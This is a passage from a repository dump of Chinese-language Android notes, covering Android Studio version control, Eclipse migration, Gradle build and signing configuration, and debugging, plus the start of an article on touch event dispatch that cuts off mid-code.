不显示Log\n\t\tbuildConfigField \"boolean\", \"LOG_DEBUG\", \"false\"\n\t\tzipAlignEnabled true\n\t\t// remove unused resources\n\t\tshrinkResources true\n\t\tminifyEnabled true\n\t\tproguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n\t\tsigningConfig signingConfigs.release\n\t}\n}\n```\n\n在代码中使用`BuildConfig.LOG_DEBUG`就可以了。\n\n\n更多内容请参考[Gradle Plugin User Guide](http://tools.android.com/tech-docs/new-build-system/user-guide)\n\n\n最后附上一张`Build`流程图: \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/build.png?raw=true)\t\n\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第三弹).md",
    "content": "# AndroidStudio使用教程(第三弹)\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n熟悉了基本的使用之后，可能关心的就是版本控制了。\n\n- `SVN`               \n    - 下载`Subversion command line`              \n\t\t- 方法一                \n\t        下载地址是[Subversion](http://subversion.apache.org/packages.html)里面有不同系统的版本。             \n\t        以`Windows`为例，我们采用熟悉的`VisualSVN`.                    \n\t        ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_1.png?raw=true)\t                     \n\t        进入下载页后下载`Apache Subversion command line tools`, 解压即可。             \n\t\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_2.png?raw=true)\t         \n          \n\t    - 方法二                                   \n\t\t    `Windows`下的`Tortoise SVN`也是带有`command line`的，但是安装的时候默认是不安装这个选项的，所以安装时要注意选择一下。                  \n\t\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_5.png?raw=true)\t                   \n\t\t\t选择安装即可                         \n\t\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_6.png?raw=true)\t                 \n\t\t\t\n\t- 配置`SVN`                      \n\t    进入设置中心,搜索`Version Control`后选择`Subversion`， 将右侧的`Use command line client`设置你本地的`command line`路径即可。             \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_3.png?raw=true)\t               \t\n\t\t如果是用第二种方式安装`Tortoise SVN`的话地址就是：                   \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_4.png?raw=true)\t                   \n\t\tPS: 设置成自己的路径啊，不要写我的...               \n\t\t\n- `Git`\n\t安装`Git`, [Git](http://git-scm.com/)             \n\t选择相应系统版本安装即可。                   \n\t安装完成后进入`Android Studio`设置中心-> `Version Control` -> `Git`设置`Path to Git executable`即可。                 \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_7.png?raw=true)\t                 \n\n- `Github`\n    怎么能少了它呢？哈哈              \n\t这个就不用安装了，直接配置下用户名和密码就好了。                    \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_8.png?raw=true)\t               \t\n\t\n- `Checkout`\n    在工具栏中点击 `VCS` 能看到相应检出和导入功能。这里以`Github`检出为例介绍一下。                   \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_9.png?raw=true)\t\t           \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_10.png?raw=true)\t           \n\t确定之后就能在底部导航栏看到检出进度                    \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_11.png?raw=true)\t                  \n\t\n\t完成之后会提示是否想要把刚才检出的项目导入`AndroidStudio`中。                  \n\tWhy not?                         \n\t以`Gradle`方式导入， 然后`next`, 然后`next`然后就没有然后了。                     \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_3_12.png?raw=true)\t                                     \n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第二弹).md",
    "content": "# AndroidStudio使用教程(第二弹)\n\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n- 迁移`Eclipse`工程到`Android Studio`            \n\n    官方文档中说`Android Studio`可以兼容`Eclipse`的现有工程，但需要做一些操作：              \n\t\n    - `Eclipse`进行项目构建           \n\t    首先升级`ADT`到最新版本, 好像是22之后，选择需要从`Eclipse`导出的工程，右键选择`Export`并选择`Android`下的`Generate Gradle Build Files`, \n\t\t运行完成之后你会发现在项目目录中多了一个`build.gradle`, 这就是`Android Studio`所识别的文件。      \n\t\tPS：官方文档中说明如果没有`Grade build`文件，也是可以将项目导入到`Android Studio`中，它会用现有的`Ant build`文件进行配置.\n\t\t但为了更好地使用之后的功能和充分使用构建变量，\n\t\t还是强烈地建议先从`ADT`插件中生成`Gradle`文件再导入`Android Studio`.\n    \n\t- 导入            \n\t    在`Android Studio`中选择`Import Project`,并选择刚才工程目录下的`build.gradle`即可。           \n\n\t\t有些时候会发现导入之后在运行按钮左边显示不出`Module`来，可能是你导入之前的`SDK`版本不同导致的，只要在`build.gradle`中配置相应的`SDK`版本就可以了。           \n\t\t```java\n\t\tandroid {\n\t\t\tcompileSdkVersion 19\n\t\t\tbuildToolsVersion \"21.1.1\"\n\t\t\t...\n\t\t\t}\n\t\t```\n\t\n- 创建工程     \n    创建工程和`Eclipse`流程基本差不多，大家一看就明白了，这里就不说了。\n\t\n- 使用`Android`项目视图\n    这里纯粹看个人爱好，不过对于标准的`AndroidStudio`工程，一般我们常用的部分，都在`Android`项目视图中显示出来了。      \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_1.png?raw=true)             \n\t效果如下图：     \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_2.png?raw=true)               \n\t\n- 使用布局编辑器             \n\n    布局编辑器的适时和多屏幕预览的确是一个亮点。     \n\t\n\t- 点击布局页面右侧的`Preview`按钮，可以进行预览。  \n\t\n\t    想预览多屏幕效果时可以在预览界面设备的下拉菜单上选择`Preview All Screen Sizes`.     \n\t    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_3.png?raw=true)       \n\t\t\n\t- 选择主题\n\t\n\t    想给应用设置一个主题，可以点击`Theme`图标![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_4.png?raw=true), \n\t\t就会显示出选择对话框。       \n\t\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_5.png?raw=true)\n\t\n\t- 国际化\n\t    对于国际化的适配选择国际化图标![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_6.png?raw=true),\n\t\t然后在弹出的列表中选择需要进行国际化的国家进行适配即可。\n\n- 常用功能\n    有些人进来之后可能找不到`DDMS`了.      \n\t![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_2_7.png?raw=true)\t   \n\t上图中的三个图标分别为, `AVD Manager`、`SDK Manager`、`DDMS`\n\t\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第五弹).md",
    "content": "# AndroidStudio使用教程(第五弹)\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n\nCreate and Build an Android Studio Project\n---\n\n接下来是以下这四个部分：     \n- Create projects and modules.\n- Work with the project structure.\n- Eidt build files to configure the build process.\n- Build and run your app. \n\n关于如何创建`Project`这里就不说了， 默认创建的`Project`中有一个`app`的`Module`。\n\nAdd a library module\n---\n\n接下来的部分说一下如何在`Project`中创建一个`library module`并且把该`library`变成程序的一个依赖`module`。\n\n### Create a new library module\n\n- 点击`File`菜单后选择`New Module`或在`Project`上右键选`New Module`.     \n- 展开页面下方的`More Modules`选择`Android Library`后`Next`.      \n- 输入名字这里为了演示方便名字叫做`mylibrary`后一直`Next`即可.      \n完成之后打开该`Module`中的`build.gradle`你会看到`apply plugin: 'com.android.library'`说明这是一个`library`.    \n\n### Add a dependency on a library module   \n上一步我们创建了`mylibrary module`, 现在我们想让`app module`依赖与`mylibrary module`, 但是构建系统还不知道，\n我们需要修改`app module`下的`build.gradle`文件添加`mylibrary module`就可以了。 \n\n```xml\n...\ndependencies {\n    ...\n    compile project(\":mylibrary\")\n}\n```\n\n### Build the project in Android Studio\n`Android Studio`中`build project`点击上面导航栏中的`Build`菜单然后选择`Make Project`, 这时窗口底部的状态栏就会显示`build`的进度。       \n点击窗口右边底部的![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_2.png)图标来显示`Gradle Console`.      \n![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_3.png?raw=true)\n\n在窗口右边栏点击`Gradle`窗口可以看到当前所有可用的`build tasks`, 双击里面的`task`即可执行。      \n![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_4.png?raw=true)\n\n### Build a release version\n点击`Gradle tasks`页面， 展开`app`中的`task`然后双击`assembleRelease`即可。 \n\nConfigure the Build\n---\n\n接下来以`MyApplication Project`说明以下几个部分：     \n- Use the syntax from the Android plugin for Gradle in build files.\n- Declare dependencies.\n- Configure ProGurad settings. \n- Configure signing settings.\n- Work with build variants. \n\n###Build file basics\n`Android Studio projects`中包含一个`build file`，每个`module`中也有一个`build file`名字为`build.gradle`.  \n下面是`Project`中`app module`的`build.gradle`文件      \n```\napply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 19\n    buildToolsVersion \"21.1.1\"\n\n    defaultConfig {\n        applicationId \"com.charon.myapplication\"\n        minSdkVersion 15\n        targetSdkVersion 19\n        versionCode 1\n        versionName \"1.0\"\n    }\n    buildTypes {\n        release {\n            runProguard false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n    compile project(\":mylibrary\")\n}\n\n```\n```apply plugin: 'com.android.application’```  声明了`Gradle`的类型为`Android`应用程序，这样会在最高级的`build tasks`中添加\n一个`Android`程序特有的`build`任务并且创建`android {…}`来声明`Android`程序特殊的`build`配置。      \n`android {…}`部分配置了所有`Android`程序的`build`配置：     \n- `compileSdkVersion `表明了编译的目标`SDK`版本。\n- `buildToolsVersion` 声明了当前 `build`的版本， 可以使用`SDK Manager`来下载多个`build`版本。 \n    **注意：**最好使用高版本的`build`工具或者是和编译是目标`SDK`版本对应的`build`版本。 \n- `defaultConfig`配置了`AndroidManifest.xml`中的重要设置。\n- `buildTyppes`部分控制着如何去`build`和打包你的程序，默认时会定义两种`build`类型:`debug 和 release`. `debug`类型带有默认的\n`debugging`标示，用`debug key`进行签名, `release`版本默认时没有签名，上面的配置中`release`时没有使用`ProGuard`.      \n`dependencies`部分是在`android`之外，该部分声明了依赖的`module`。     \n**注意：**当修改项目中得`build files`时，`Android Studio`需要进行项目同步来导入相应的`build`配置变化， 点击`Android Studio`中黄色通知部分的`Sync Now`\n来进行变化的导入。               \n![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_5_5.png)     \n\n###Declare dependencies\n```java\ndependencies {\n    // Module dependency\n    compile project(\":lib\")\n\n    // Remote binary dependency\n    compile 'com.android.support:appcompat-v7:19.0.1'\n\n    // Local binary dependency\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n}\n```\n- Module dependency     \n    为本地依赖的`Module`. \n- Remote binary dependency    \n    为远程依赖的二进制文件， 例子中为`Android SDK`仓库中所有的`support v7`包。    \n- Local binary dependency     \n    为本地项目中依赖的`jar`包，这些`jar`包是在项目中的`libs`目录中。    \n\n###Run ProGuard\n构建过程中可以使用`ProGuard`进行代码混淆， 修改`build`文件中的`runProGuard`选项为`true`即可。   \n```java\n\n...\nandroid {\n    ...\n    buildTypes {\n        release {\n            runProguard true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n...\n```\n```getDefaultProguardFile(`proguard-android.txt`)```包含了`Android SDK`安装时默认的`ProGuard`设置。`Android Studio`在`module`的根目录中\n添加了`proguard-rules.pro`文件，可以在这里配置相应的`ProGuard`规则。     \n\n\n###Configure signing settings \n`debug`版本和`release`版本的应用区别在于应用程序能不能在一些稳定的设备上进行`debug`和`APK`是怎样进行签名的。 构建系统对`debug`版本使用默认的签名并且使用已知的\n证书以便在构建过程中不会进行代码提示。如果你不指定签名配置时构建系统不会对`release`版本进行签名。   \n下面是如何让程序在`release`版本进行签名      \n- 拷贝签名文件到`app module`的根目录。     \n    这样就可以保证当你在其他机器上构建项目的时候可以找到你的签名文件， 如果你没有签名文件，可以先创建一个。    \n- 在`app module`中的`build file`中配置签名选项。     \n    ```java\n    ...\n    android {\n        ...\n        defaultConfig { ... }\n        signingConfigs {\n            release {\n                storeFile file(\"myreleasekey.keystore\")\n                storePassword \"password\"\n                keyAlias \"MyReleaseKey\"\n                keyPassword \"password\"\n            }\n        }\n        buildTypes {\n            release {\n                ...\n                signingConfig signingConfigs.release\n            }\n        }\n    }\n    ... \n    ```   \n\n- 在`Android Studio`中的`build task`页面运行`assembleRelease`。 \n在`app/build/apk/app-release.apk`下的包现在就是使用签名文件签过名的了。     \n**注意：**把签名密码等写到`build`文件中不是很安全， 可以把密码配置到环境变量中或者是让其在构建的过程中提示输入密码。 这里我们就先不介绍如何配置了，可以自己搜索下。    \n\n至于开始所说利用`Gradle`可以很简单的进行多渠道打包会在以后专门讲解， 这里先到此为止了。 \t\n\t                  \n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第六弹).md",
    "content": "# AndroidStudio使用教程(第六弹)\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n\n\nDebug\n---\n\n`Andorid Studio`中进行`debug`:      \n- 在`Android Studio`中打开应用程序。    \n- 点击状态栏中的`Debug`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_1.png?raw=true)图标。\n- 在接下来的选择设备窗口选择相应的设备或创建虚拟机， 点击`OK`即可。     \n`Android Studio`在`debug`时会打开`Debug`工具栏， 可以点击`Debug`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_2.png?raw=true)图标打开`Debug`窗口。    \n\n###设置断点 \n与`Eclipse`十分相似， 在代码左侧位置点击一下即可， 圆点的颜色变了。   \n\n###Attach the debugger to a running process \n在`debug`时不用每次都去重启应用程序。 我们可以对正在运行的程序进行`debug`:  \n- 点击`Attach debugger to Android proccess`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_3.png?raw=true)图标。  \n- 设备选择窗口选择想要`debug`的设备。 \n- 点击`Debug`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_2.png?raw=true)图标打开`Debug`工具栏。    \n- 在`Debug`工具栏中有`Stop Over`, `Stop Into`等图标和快捷键，这些就不仔细说明了, 和`Eclipse`都差不多。     \n\n### View the system log\n在`Android DDMS`中和`Debug`工具栏中都可以查看系统`log`日志，\n- 在窗口底部栏点击`Android`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_4.png?raw=true) 图标打开`Android DDMS`工具栏。   \n- 如果此时`Logcat`窗口中的日志是空得，点击`Restart`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_5.png?raw=true)图标。 \n- 如果想要只显示当前某个进程的信息点击`Only Show Logcat from Selected Process`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_6.png?raw=true). 如果当时设备窗口不可见，点击右上角的`Restore Devices View`![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_7.png?raw=true)图标，该图标只有设备窗口不可见时才会显示。    \n\n删除`Project`及`Module`\n---\n\n很多人都在问`AndroidStudio`中如何删除`Project`，如何删除`Module`？怎么和`Eclipse`不同啊，找不到`delete`或`remove`选项。       \n    - 删除`Project`       \n        点击左侧`File`-->`Close project`，关闭当前工程， 然后直接找到工程所在本地文件进行删除(慎重啊), 删除完之后点击最近列表中的该项目就会提示不存在，我们把他从最近项目中移除即可.![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_11.png?raw=true)你会发现，点击`remove`之后没效果，以后估计会解决。      \n    - 删除`Module`             \n        在该`Module`邮件选择`Open Module Settings`。            \n\t\t![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_8.png?raw=true)                \n        进入设置页后选中要删除的`Module`点击左上角的删除图标`-`后点击确定。                                \n\t\t![Image](https://github.com/CharonChui/Pictures/blob/master/AndroidStudio_6_9.png?raw=true)\n\t\t\n        \t  \t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android编译器相关/AndroidStudio使用教程(第四弹).md",
    "content": "# AndroidStudio使用教程(第四弹)\n\n本文为转载文章：原文地址：https://github.com/CharonChui/AndroidNote\n\n   \nGradle\n---\n\n讲解到这里我感觉有必要说明一下`Gradle`。\n       \n`Gradle`是一个基于`Apache Ant`和`Apache Maven`概念的项目自动化建构工具。它使用一种基于`Groovy`的特定领域语言来声明项目设置，而不是传统的`XML`.      \n更多介绍请直接参考[Gradle](http://www.gradle.org/)或`Google`搜索。\n\n以下是为什么Android Studio选择Gradle的主要原因：   \n- 使用领域专用语言（Domain Specific Language）来描述和处理构建逻辑。（以下简称DSL）\n- 基于Groovy。DSL可以混合各种声明元素，用代码操控这些DSL元素达到逻辑自定义。\n- 支持已有的Maven或者Ivy仓库基础建设\n- 非常灵活，允许使用best practices，并不强制让你遵照它的原则来。\n- 其它插件时可以暴露自己的DSL和API来让Gradle构建文件使用。\n- 允许IDE集成，是很好的API工具\n\nOverview\n---\n\n`AndroidStudio build`系统是一个你可以用来`build, test, run, package your apps`的工具。 `build`系统与`Android Studio`之间是独立的，\n所以你可以在`Android Studio`中或者\n`command line`中去执行。写完自己的应用程序之后，你可以用`build`系统来做以下事情：　　　　　\n- 自定义、配置和扩展`build`过程.。     \n- 用同一个工程根据不同的特性来创建多个`APK`。    \n- 重复利用代码和资源。    \n`Android Studio`灵活的`build`系统能让你不用修改项目和核心文件而完成上面所有的工作。 \n\t\t\nOverview of the Build System\n---\n\n`Android Studio`的构建系统包含一个`Gradle`的`Android`插件，`Gradle`是一个管理依赖关系并且允许自定义构建逻辑的高级构建工具。 许多软件都用`Gradle`来进行构建。\n`Gradle`的`Android`插件并不依赖`Android Studio`， 虽然`Android Studio`全部集成了`Gralde`， 这就意味着：　　　　    \n- 你可以用用命令行的方式去构建`Android`应用或者是在一些没有安装`Android Studio`的机器上。\n- 你可以用命令行构建时的配置和逻辑来在`Android Studio`中进行构建`Android`项目。 \n不管你是通过命令行还是远程机器或者是`Android Studio`来进行构建的产出都是一致的。 \n\nBuild configuration\n---\n\n项目的构建配置都在`Gralde build files`中， 都是些符合`Gradle`要求的选项和语法，`Android`插件并不依赖`Android\n通过`build`文件来配置一下几个方面：   \n- `Build variants` 构建系统能对同一个项目通过不同的配置生成多个`APK`，当你想构建多个不同版本时这是非常有用的，因为不用为他们建立多个不同的项目。    \n- `Dependencies` 构建系统管理项目的依赖关系，并且支持本地已经远程仓库的依赖关系。 这样你就不用再去搜索、下载，然后再拷贝相应的包到你工程的目录了。 \n- `Manifest entries` 构建系统能够通过构建配置去指定清单文件中中某些元素的值。 当你想生成一些包名、最低`SDK`版本或目标`SDK`版本不同的`APK`时是非常有用的。\n- `Signing` 构建系统能在`build`配置中设置指定的签名， 在构建的构成会给`APK`进行签名。 \n- `ProGuard` 构建系统允许根据不同的构建配置设置不同的混淆规则， 在构建的过程中会运行`ProGuard`来对`class`文件进行混淆。 \n- `Testing` 构建系统会根据项目中的测试代码生成一个测试`APK`， 这样就不需要创建一个单独的测试工程了， 在构建的过程中会运行相应的测试功能。 \n`Gradle`构建文件使用`Groovy`语法，`Groovy`是一门可以自定义构建逻辑并且能通过`Gradle`的`Android`插件与`Android`一些特定元素通信的语言。 \n\nBuild by convention\n---\n\n`Android Studio`构建系统对项目结构和一些其他的构建选项做了一些很好的默认规范声明，如果你的项目符合这些条件，`Gradle`的构建文件就非常简单了。 如果你的项目不符合\n其中的一些要求， 灵活的构建系统也允许你去配置几乎所有的构建选项。例如你项目的源码没有放在默认的文件夹中，你可以通过`build`文件去配置它的位置。 \n\nProjects and modules\n---\n\n`Android Studio`中的`Project`代表了一个完整的`Android`应用，每个`Project`中可以有一个或多个`Module`。 `Module`是应用中可以单独`build, test`或`debug`的组件。 \n`Module`中包含应用中的源码和资源文件， `Android Studio`中的`Project`包含以下三种`Module`：     \n- 包含可复用代码的`Java library modules`. 构建系统对`Java library module`会生成一个`JAR`包。 \n- 有可复用`Android`代码和资源的`Android library modules`. 对该`library modules`构建系统会生成一个`AAR(Android ARchive)`包。\n- 有应用代码或者也可能是依赖其他`library modules`的`Android application modules`, 虽然很很多`Android`应用都只包含一个`application module`. \n对于`application modules`\n构建系统会生成一个`APK`包。 \n\n`Android Studio projects`在`project`的最外城都包含一个列出所有`modules`的`Gradle build file`, 每个`module`也都包含自己的`Gradle build file`.      \n\nDependencies\n---\n\n`Android Studio`的构建系统管理着依赖项目并且支持`module`依赖，  本地二进制文件依赖和远程二进制文件的依赖。 \n\n- `Module Dependencies`\n    一个项目的`module`可以在构建未见中包含一系列所依赖的其他`modules`， 在你构建这个`module`的时候，系统回去组装这些所包含的`modules`. \n- `Local Dependencies`\n    如果本地文件系统中有`module`所依赖的二进制包如`JAR`包， 你可以在该`module`中的构建文件中声明这些依赖关系。 \n- `Remote Dependencies`\n    当你的依赖是在远程仓库中，你不需要去下载他们然后拷贝到自己的工程中。 `Android Studio`支持远程`Maven`依赖。 `Maven`是一个流行的项目管理工具，\n\t它可以使用仓库帮助组织项目依赖。         \n\t\n\t许多优秀的软件类库和工具都在公共的`Maven`仓库中， 对于这些依赖只需按照远程仓库中不同元素的定义来指定他们的`Moven`位置即可。 \n\t构建系统使用的`Maven`位置格式是`group:name:version`. 例如`Google Guava`16.0.1版本类库的`Maven`坐标是\n\t`com.google.guava:guava:16.0.1`.      \n\t\n\t` Maven Central Repository`现在被广泛用于分发许多类库和工具。 \n\t\n下面分别为以上三种依赖关系的配置；   \n```\ndependencies {\n    compile project(\":name\")\n\tcompile fileTree(dir: 'libs', include: ['*.jar'])\n    compile 'com.google.guava:guava:16.0.1'\n}\n```\n\t\nBuild tasks\n---\n\n`Android Studio`构建系统定义了一些列的构建任务， 高级别的任务调用一些产出必要输出的任务。 构建系统提供了`project tasks`来构建`app`和`module tasks`\n来独立的构建`modules`.          \n\n可以通过`Andorid Studio`或者命令行看到当前可用任务的列表，并且执行里面的任务。 \n\nThe Gradle wrapper\n---\n\n`Android Studio`项目包含了`Gradle wrapper`， 包括：　　　　　\n- A JAR file     \n- A properties file      \n- A shell script for Windows platforms    \n- A shell script for Mac and Linux platforms        \n*声明：*需要把这些文件提交到代码控制系统。         \n\n使用`Gradle wrapper`(而不用本地安装的`Gradle`)能确保经常运行配置文件中配置的`Gralde`版本。 通过在配置文件中定义最新的版本来确保你的工程一直使用最新版的`Gradle`。 \n\n`Android Studio`从你项目中的`Gradle wrapper`目录读取配置文件，并且在该目录运行`wrapper`， 这样在处理多个需要不同`Gradle`版本的项目时就会游刃有余。 \n*声明：*`Android Studio`不使用`shell`脚本，所以对于他们的任何改变在`IDE`构建时都不会生效，你应该在`Gradle build files`中去设置自定义的逻辑。       \n\n你可以在开发及其或者是一些没有安装`Android Studio`的及其上使用命令行运行`shell`脚本来构建项目。   \n\n直接上图：   \n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/AndroidStudio_4_1.png?raw=true)\t            \n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/Android事件分发机制.md",
    "content": "> 在android开发中会经常遇到滑动冲突（比如ScrollView或是SliddingMenu与ListView的嵌套）的问题，需要我们深入的了解android事件响应机制才能解决，事件响应机制已经是android开发者必不可少的知识。\n\n# 1.涉及到事件响应的常用方法构成\n\n　　用户在手指与屏幕接触过程中通过MotionEvent对象产生一系列事件，它有四种状态：\n　　\n\n - MotionEvent.ACTION_DOWN　：手指按下屏幕的瞬间（一切事件的开始）\n \n - MotionEvent.ACTION_MOVE　：手指在屏幕上移动\n \n - MotionEvent.ACTION_UP　：手指离开屏幕瞬间\n \n - MotionEvent.ACTION_CANCEL 　：取消手势，一般由程序产生，不会由用户产生\n\n　　Android中的事件onClick, onLongClick，onScroll, onFling等等，都是由许多个Touch事件构成的（一个ACTION_DOWN， n个ACTION_MOVE，1个ACTION_UP）。\n\n　　android 事件响应机制是先 **分发**（先由外部的View接收，然后依次传递给其内层的最小View）再 **处理** （从最小View单元（事件源）开始依次向外层传递。）的形式实现的。\n\n　　复杂性表现在：可以控制每层事件是否继续传递（分发和拦截协同实现），以及事件的具体消费（事件分发也具有事件消费能力）。\n\n# ２.android事件处理涉及到的三个重要函数\n\n>  **事件分发：public boolean dispatchTouchEvent(MotionEvent ev)**\n\n　　　当有监听到事件时，首先由Activity进行捕获，进入事件分发处理流程。（因为activity没有事件拦截，View和ViewGroup有）会将事件传递给最外层View的dispatchTouchEvent(MotionEvent ev)方法，该方法对事件进行分发。\n　　\n\n - return true  ：表示该View内部消化掉了所有事件。\n \n -  return false  ：事件在本层不再继续进行分发，并交由**上层**控件的onTouchEvent方法进行消费（如果本层控件已经是Activity，那么事件将被系统消费或处理）。　\n \n - 如果事件分发返回系统默认的 super.dispatchTouchEvent(ev)，事件将分发给本层的事件拦截onInterceptTouchEvent 方法进行处理\n\n> **事件拦截：public boolean onInterceptTouchEvent(MotionEvent ev)**\n\n - return true  ：表示将事件进行拦截，并将拦截到的事件交由本层控件 的 onTouchEvent 进行处理；\n \n -  return false  ：则表示不对事件进行拦截，事件得以成功分发到子View。并由子View的dispatchTouchEvent进行处理。　\n \n - 如果返回super.onInterceptTouchEvent(ev)，默认表示拦截该事件，并将事件传递给当前View的onTouchEvent方法，和return true一样。\n\n\n> **事件响应：public boolean onTouchEvent(MotionEvent ev)**\n\n　　在dispatchTouchEvent（事件分发）返回super.dispatchTouchEvent(ev)并且onInterceptTouchEvent（事件拦截返回true或super.onInterceptTouchEvent(ev)的情况下，那么事件会传递到onTouchEvent方法，该方法对事件进行响应。\n\n　\n\n - 如果return true，表示onTouchEvent处理完事件后消费了此次事件。此时事件终结；\n \n -  如果return fasle，则表示不响应事件，那么该事件将会不断向上层View的onTouchEvent方法传递，直到某个View的onTouchEvent方法返回true，如果到了最顶层View还是返回false，那么认为该事件不消耗，则在同一个事件系列中，当前View无法再次接收到事件，该事件会交由Activity的onTouchEvent进行处理；　　\n - 如果return super.dispatchTouchEvent(ev)，则表示不响应事件，结果与return false一样。\n\n\n> 从以上过程中可以看出，dispatchTouchEvent无论返回true还是false，事件都不再进行分发，只有当其返回super.dispatchTouchEvent(ev)，才表明其具有向下层分发的愿望，但是是否能够分发成功，则需要经过事件拦截onInterceptTouchEvent的审核。事件是否向上传递处理是由onTouchEvent的返回值决定的。\n\n\n![这里写图片描述](http://img.blog.csdn.net/20160428161104339)\n\n（图来自网络）\n\n# ３.View源码分析\n\n\n　　Android中ImageView、textView、Button等继承于View但没有重写的dispatchTouchEvent方法，所以都用的View的该方法进行事件分发。\n　　\n　　看View重要函数部分源码：\n\n```\npublic boolean dispatchTouchEvent(MotionEvent event) {\n//返回true,表示该View内部消化掉了所有事件。返回false，表示View内部只处理了ACTION_DOWN事件，事件继续传递，向上级View(ViewGroup)传递。\n\n    if (mOnTouchListener != null && (mViewFlags & ENABLED_MASK) == ENABLED &&\n            mOnTouchListener.onTouch(this, event)) {\n  //此处的onTouch方式就是回调的我们注册OnTouchListener时重写的onTouch()方法\n        return true;\n    }\n    return onTouchEvent(event);\n}\n```\n\n　首先进行三个条件的判断：\n\n（1）查看是否给button设置了OnTouchListener()事件；\n\n（2）控件是否Enable；（控件默认都是enable的）\n\n（3）button里面实现的OnTouchListener监听里的onTouch()方法是否返回true；\n\n　如果条件都满足，则该事件被消耗掉，不再进入onTouchEvent中处理。否则将事件将交给onTouchEvent方法处理。\n\n\n```\n public boolean onTouchEvent(MotionEvent event) {\n    ...\n \n   /＊ 当前onTouch的组件必须是可点击的比如Button，ImageButton等等，此处CLICKABLE为true，才会进入if方法，最后返回true。\n 如果是ImageView、TexitView这些默认为不可点击的View,此处CLICKABLE为false，最后返回false。当然会有特殊情况，如果给这些View设置了onClick监听器，此处CLICKABLE也将为true　　＊／\n \n    if (((viewFlags & CLICKABLE) == CLICKABLE ||  \n            (viewFlags & LONG_CLICKABLE) == LONG_CLICKABLE)) {\n        switch (event.getAction()) {\n            case MotionEvent.ACTION_UP:\n                ...\n                            if (!post(mPerformClick)) {\n                                performClick();// 实际就是回调了我们注册的OnClickListener中重新的onClick()方法\n                            }\n                 ...\n                break;\n \n            case MotionEvent.ACTION_DOWN:\n               ...\n                break;\n \n            case MotionEvent.ACTION_CANCEL:\n                ...\n                break;\n \n            case MotionEvent.ACTION_MOVE:\n               ...\n                break;\n        }\n        return true;\n    }\n \n    return false;\n}\n```\n```\npublic boolean performClick() {\n    ...\n ／／\n    if (li != null && li.mOnClickListener != null) {\n        ...\n        li.mOnClickListener.onClick(this);\n        return true;\n    }\n \n    return false;\n}\n```\n```\n public void setOnClickListener(OnClickListener l) {\n    if (!isClickable()) {\n        setClickable(true);\n    }\n    